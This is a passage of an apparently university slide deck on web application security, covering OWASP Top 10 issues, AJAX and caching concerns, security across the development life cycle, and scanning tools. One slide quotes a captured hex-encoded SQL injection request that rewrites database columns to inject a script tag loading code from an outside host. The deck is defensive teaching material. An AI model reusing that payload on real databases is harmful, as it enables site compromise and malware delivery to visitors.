  48. 49. OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information leakage and Improper Error Handling </li></ul><ul><li>Injection Flaws </li></ul><ul><ul><ul><li>SQL Injection, XPATH Injection, etc </li></ul></ul></ul><ul><li>Malicious File Execution (remote file inclusion) </li></ul><ul><li>Insecure Communications </li></ul><ul><li>From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities </li></ul>
  49. 50. Insecure Communication <ul><li>Sensitive information being sent over an unencrypted channel can be snooped very easily </li></ul><ul><li>Use SSL to pass sensitive information to and from browsers </li></ul><ul><li>THIS INCLUDES .htaccess AUTHENTICATION! </li></ul><ul><li>Next example will demonstrate use of WebGoat and WebScarab tools to hack an unencrypted .htaccess authentication request. </li></ul>
  50. 51. .htaccess Authentication Request
  51. 52. .htaccess file Example
  52. 53. .htaccess file Example Continued
  53. 54. OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information leakage and Improper Error Handling </li></ul><ul><li>Injection Flaws </li></ul><ul><ul><ul><li>SQL Injection, XPATH Injection, etc </li></ul></ul></ul><ul><li>Malicious File Execution (remote file inclusion) </li></ul><ul><li>Insecure Communications </li></ul><ul><li>From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities </li></ul>
  54. 55. Agenda <ul><li>OWASP’s Top 10 list </li></ul><ul><li>Additional Vulnerability Topics </li></ul><ul><li>Integrating Security into the SDLC </li></ul><ul><li>Tools </li></ul>
  55. 56. Additional Topics <ul><li>AJAX Security </li></ul><ul><li>Caching Concerns </li></ul>
  56. 57. AJAX Security <ul><li>Cutting edge in terms of web interfaces and security practices </li></ul><ul><li>Susceptible to “shortcut” issues related to inexperienced developers </li></ul><ul><li>Difficult! </li></ul><ul><li>Easily overused when traditional methods are not only safer, but functional </li></ul>
  57. 58. AJAX Request Lifecycle XmlHTTPRequest Response (text, JSON, XML, etc) There is nothing special about an XHR request other than its asynchronicity
  58. 59. Potential Issues With AJAX <ul><li>Responses are sent to the browser, JavaScript code updates the page </li></ul><ul><li>Be careful what you send back </li></ul><ul><ul><li>Do not leak information </li></ul></ul><ul><li>Do NOT trust values that were fed via AJAX </li></ul><ul><li>Update code is CLIENT side </li></ul><ul><ul><li>The user can see the code being executed </li></ul></ul><ul><ul><li>Can take advantage of code more easily </li></ul></ul>
  59. 60. Tips <ul><li>Do NOT overuse AJAX </li></ul><ul><li>Do processing on the server side if possible </li></ul><ul><ul><li>Send raw html back to the client </li></ul></ul><ul><li>Do not return more information than is necessary to complete the request </li></ul><ul><li>Always validate input on the Server side! </li></ul>
  60. 61. Additional Topics <ul><li>AJAX Security </li></ul><ul><li>Caching Concerns </li></ul>
  61. 62. Browser Page Cache <ul><li>Pages with sensitive data should not be cached: page content is easily accessed using browser’s history </li></ul><ul><li>Use the following tags to disable page caching: <META HTTP-EQUIV=&quot;Pragma&quot; CONTENT=&quot;no-cache&quot;> <META HTTP-EQUIV=&quot;Cache-Control&quot; CONTENT=“no-store, no-cache&quot;> <META HTTP-EQUIV=&quot;Expires&quot; CONTENT=&quot;-1&quot;> </li></ul><ul><li>Be aware of differences between browsers! </li></ul><ul><ul><li>Do-not-cache tags may not apply to binary content and may differ between platforms and browsers </li></ul></ul><ul><li>Many documents are stored in temporary files on desktop after viewing – such as Excel files </li></ul>
  62. 63. Browser History <ul><li>Sensitive data should not be included as a parameter in the URL of any Web pages </li></ul><ul><ul><li>http://www.uci.edu/getdata.jsp?ssn=333224444&ucinetid=johnsmith&password=blah </li></ul></ul><ul><li>Stored and viewable in client browser’s history </li></ul><ul><li>Stored in Web server access logs </li></ul><ul><li>Use HTTP POST (not GET) requests to pass parameters to your application </li></ul>
  63. 64. Browser Page Cache & History
  64. 65. Browser Cookies <ul><li>Sensitive data should not be stored in cookies </li></ul><ul><ul><li>Cookies are stored on client browser, can be viewed by user/hacker, and possibly sent unencrypted </li></ul></ul><ul><ul><ul><li>Firefox plugin: </li></ul></ul></ul><ul><li>Use non-persistent cookies (that disappear once a browser is closed) instead of persistent ones. </li></ul>
  65. 66. Agenda <ul><li>OWASP’s Top 10 list </li></ul><ul><li>Additional Vulnerability Topics </li></ul><ul><li>Integrating Security into the SDLC </li></ul><ul><li>Tools </li></ul>
  66. 67. NIST: Security Considerations in the Information System Development Life Cycle http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf SDLC | Security Considerations -Appropriateness of disposal -Exchange and sale -Internal organization screening -Transfer and donation -Contract closeout _______________ -Information Preservation -Media Sanitization -Hardware and Software Disposal -Performance measurement -Contract modifications -Operations Maintenance ________________ -Configuration Management and Control – Continuous monitoring -Installation -Inspection -Acceptance testing -Initial user training -Documentation ____________________ -Inspection and Acceptance -System Integration -Security Certification -Security Accreditation -Functional Need Doc. -Market Research -Feasibility Study -Requirements Analysis -Alternatives Analysis -Cost-Benefit Analysis -Risk Management -Acquisition Planning __________________ - Risk Assessment -Security Functional Requirements Analysis -Security Assurance Requirements Analysis -Cost considerations -Security Planning -Security Control Development - Security Test and Evaluation - Linkage of Need to Mission and Performance Objectives -Assessment of Alternatives to Capital Assets -Preparing for investment and budgeting ________________ -Security Categorization -Preliminary Risk Assessment Disposition Operations/ Maintenance Implementation Acquisition/ Development Initiation
  67. 68. Integrating Security into SDLC - Requirements <ul><li>Identify security requirements at requirements gathering phase in product acquisition or development </li></ul><ul><li>Examples of questions to ask and put into template </li></ul><ul><ul><ul><li>Any personal or confidential data? </li></ul></ul></ul><ul><ul><ul><li>Compliance requirements – PCI, SB1386, FERPA, HIPAA? </li></ul></ul></ul><ul><ul><ul><li>If 24/7 uptime is required with clustering and load balancing, think about logging requirements… </li></ul></ul></ul><ul><ul><ul><ul><li>do logs need to be centralized? easily audited for forensics analysis? </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Retention period? Tamper-proof? </li></ul></ul></ul></ul><ul><ul><ul><li>Risk assessment – normal or high risk application? </li></ul></ul></ul><ul><li>Per requirements, configure systems and applications, from day one, with the most secure configuration your business functionality allows </li></ul>
  68. 69. Integrating Security into SDLC - Implementation / Acquisition <ul><li>Make security “routine” </li></ul><ul><li>Schedule web/network & configuration vulnerability scanning on any new server – even for development </li></ul><ul><li>Require reviews of all security and database code from line 1 </li></ul><ul><ul><li>Automate nightly static and dynamic code scanning tools </li></ul></ul><ul><li>Require developers to build unit test harnesses – discipline! </li></ul><ul><li>Require developers to reuse tested security components </li></ul><ul><ul><li>Single-signon, authorization API, user identity objects, logging API </li></ul></ul><ul><li>Schedule regular web application penetration testing day 1 </li></ul><ul><li>De-identify or falsify confidential test data </li></ul><ul><li>Write and use manual security test procedures </li></ul><ul><li>Perform concurrency, load, and stress testing </li></ul><ul><li>Detect design flaws early – more expensive to fix later </li></ul>
  69. 70. Integrating Security into SDLC - Deployment <ul><ul><li>Create secured development, test & production environments </li></ul></ul><ul><ul><ul><li>Required for Payment Credit Card Industry Data Security Standard (PCI DSS) compliance </li></ul></ul></ul><ul><ul><li>Professionally administered system and data backups? </li></ul></ul><ul><ul><ul><li>backups identify compromised individuals </li></ul></ul></ul><ul><ul><ul><li>Off-site backups? Where? At home? </li></ul></ul></ul><ul><ul><li>Disaster recovery plans? </li></ul></ul><ul><ul><li>Security / Production Release Checkoff? SDLC Approvals? </li></ul></ul>
  70. 71. Integrating Security into SDLC - Operations/Maintenance <ul><li>Catalogue and inventory use of personal data </li></ul><ul><li>Continue “routine” security reviews, access audits, password changes </li></ul><ul><li>Review / monitor logs – we do this on a daily basis </li></ul><ul><li>Continue vulnerability scanning </li></ul><ul><li>Apply timely security patches at all architectural layers </li></ul><ul><ul><li>OS, Firewall, Database, Platform </li></ul></ul><ul><li>Change control </li></ul><ul><ul><li>Weekly meeting for all developers and administrators </li></ul></ul><ul><ul><li>2 week notice and test plan required of all turnovers/change </li></ul></ul><ul><ul><li>Coordinate and schedule changes in network, database, applications, OS, firewalls and configurations. Reduce collisions. </li></ul></ul><ul><ul><li>Use a campus Calendar to publish schedule. </li></ul></ul><ul><ul><li>Changes recorded in Issue Tracking system or ServiceDesk </li></ul></ul><ul><ul><li>Fewer “emergency” changes means fewer security vulnerabilities </li></ul></ul>
  71. 72. Integrating Security into SDLC -Decommissioning <ul><li>Data </li></ul><ul><ul><li>Retention/preservation compliance? </li></ul></ul><ul><li>Properly dispose hardware and software </li></ul><ul><ul><li>Does data retention period collide with a software end-of-life? Clipper/DOS 6.2? </li></ul></ul><ul><ul><li>Can OS and hardware run application today if necessary to restore data? Is data warehousing required? </li></ul></ul><ul><ul><li>Sanitize media professionally – degauss, shred. Deal with backups </li></ul></ul><ul><li>Update catalogue of personal data again! </li></ul>
  72. 73. Agenda <ul><li>OWASP’s Top 10 list </li></ul><ul><li>Additional Vulnerability Topics </li></ul><ul><li>Integrating Security into the SDLC </li></ul><ul><li>Tools </li></ul>
  73. 74. Good Tool Listings <ul><li>OWASP </li></ul><ul><ul><li>http://www.owasp.org/index.php/Phoenix/Tools </li></ul></ul><ul><li>NIST </li></ul><ul><ul><li>https://samate.nist.gov/index.php/Tools </li></ul></ul><ul><ul><li>https://samate.nist.gov/index.php/Web_Application_Vulnerability_Scanners </li></ul></ul><ul><li>Insecure.org </li></ul><ul><ul><li>http:// sectools.org / </li></ul></ul>
  74. 75. Development / Debug / QA Tools <ul><li>Unit Testing – JUnit * for Java Whitebox Testing (Eclipse*) </li></ul><ul><li>Nightly Automated Code Scanning – static and dynamic </li></ul><ul><ul><li>JTest – dynamic and static code analysis </li></ul></ul><ul><ul><li>OWASP’s Code Crawler * </li></ul></ul><ul><li>Load/Stress Testing JMeter * - test 1000s virtual user load </li></ul><ul><li>Issue Tracking – JIRA * </li></ul><ul><li>Code versioning – CVS *, Subversion * </li></ul><ul><li>Firefox Extensions for Web Application debugging </li></ul><ul><ul><li>Firebug *, Web Developers Toolbar * </li></ul></ul><ul><li>Tools for analyzing, intercepting and modifying HTTP data between web server and client, cookies and form fields </li></ul><ul><ul><li>OWASP’s WebScarab * , Tamper Data* , Add N Edit Cookies* </li></ul></ul><ul><ul><li>*Free </li></ul></ul>
  75. 76. Remember our Puzzle? <ul><li>&quot;GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); </li></ul>
  76. 77. Web Application Vulnerability Scanning Tools – Open Source / Free <ul><li>Nikto - an open source (GPL) web server scanner testing web servers for multiple vulnerabilities, including over 3200 potentially dangerous files/CGIs. </li></ul><ul><li>Paros proxy - A Java based web proxy. Supports editing/viewing HTTP/HTTPS messages to change cookies and form fields. Includes a web traffic recorder, web spider, hash calculator, and a scanner for testing common web application attacks such as SQL injection and cross-site scripting. </li></ul><ul><li>Grendel Scan – Java based </li></ul><ul><li>Pantera Web Assessment Project – Python based </li></ul><ul><li>Spike Proxy – Python based </li></ul><ul><li>Wapati - Database Injection (PHP/JSP/ASP ), LDAP Injection </li></ul><ul><li>BurpSuite </li></ul>
  77. 78. Web Application Vulnerability Scanning Tools – Commercial <ul><li>Acunetix Web Vulnerability Scanner - checks web applications for vulnerabilities such as SQL Injection, cross site scripting, and weak password strength on authentication pages. </li></ul><ul><li>HP WebInspect - checks that a Web server is configured properly, and attempts common web attacks such as parameter injection, cross-site scripting, directory traversal. </li></ul><ul><li>NTObjectives NTOSpider </li></ul><ul><li>Cenzic's Hailstorm </li></ul><ul><li>N-Stalker - has a free edition tool based on N-Stealth </li></ul><ul><li>Parasoft's WebKing – has a lot of functionality </li></ul><ul><li>MileSCAN – has many types of scanners </li></ul><ul><li>IBM Software - Rational AppScan – provides remediation capabilities; task lists necessary to fix vulnerabilities </li></ul>
  78. 79. Web Application Firewalls <ul><li>XSS, Injection Protection and beyond… </li></ul><ul><ul><li>Apache Web Application Firewall mod_security * - http:// www.modsecurity.org / </li></ul></ul><ul><ul><li>IIS </li></ul></ul><ul><ul><ul><li>URLScan / IISLockDown * </li></ul></ul></ul><ul><ul><ul><li>Aqtronix WebKnight*: http://www.aqtronix.com/?PageID=99 </li></ul></ul></ul><ul><li>Hardware Appliance vs Software solutions </li></ul><ul><ul><li>Hardware: Fast and Expensive </li></ul></ul><ul><ul><ul><li>Vendors: Citrix, Imperva, many more </li></ul></ul></ul><ul><ul><li>Software: Cheap(er) and Slow(er) </li></ul></ul><ul><li>An Application Firewall is NOT a substitute for properly coding applications to protect themselves and the data they touch! </li></ul>
  79. 80. Agenda <ul><li>OWASP’s Top 10 list </li></ul><ul><li>Additional Vulnerability Topics </li></ul><ul><li>Integrating Security into the SDLC </li></ul><ul><li>Tools </li></ul>
  80. 81. Themes of Today’s Talk <ul><li>NEVER trust user input! Always validate! </li></ul><ul><ul><li>This includes headers! </li></ul></ul><ul><ul><li>Verify the type and length of parameters </li></ul></ul><ul><ul><li>Always validate on Server in addition to Client-side. </li></ul></ul><ul><li>Always use whitelists instead of blacklists </li></ul><ul><li>Use the principle of least privileges </li></ul><ul><li>Use POST and GET appropriately </li></ul>
  81. 82. Resources / Q&A <ul><li>Open Web Application Security Project (OWASP) - http:// www.owasp.org/index.php/Category:OWASP_Project </li></ul><ul><li>Educause - http://www.educause.edu/SecurityTaskForce/Resources/1225 </li></ul><ul><ul><li>Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Home </li></ul></ul><ul><ul><li>UC Irvine Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Applications+and+System+Development </li></ul></ul><ul><li>Cenzig Imperative Web Application Assessment Plan http:// www.cenzic.com/pdfs/CenzicWpImpAsPln.pdf </li></ul><ul><li>UC Irvine’s Requirements Template - http:// snap.uci.edu/xml/sdlc/standards/RequirementsTemplate.doc </li></ul>

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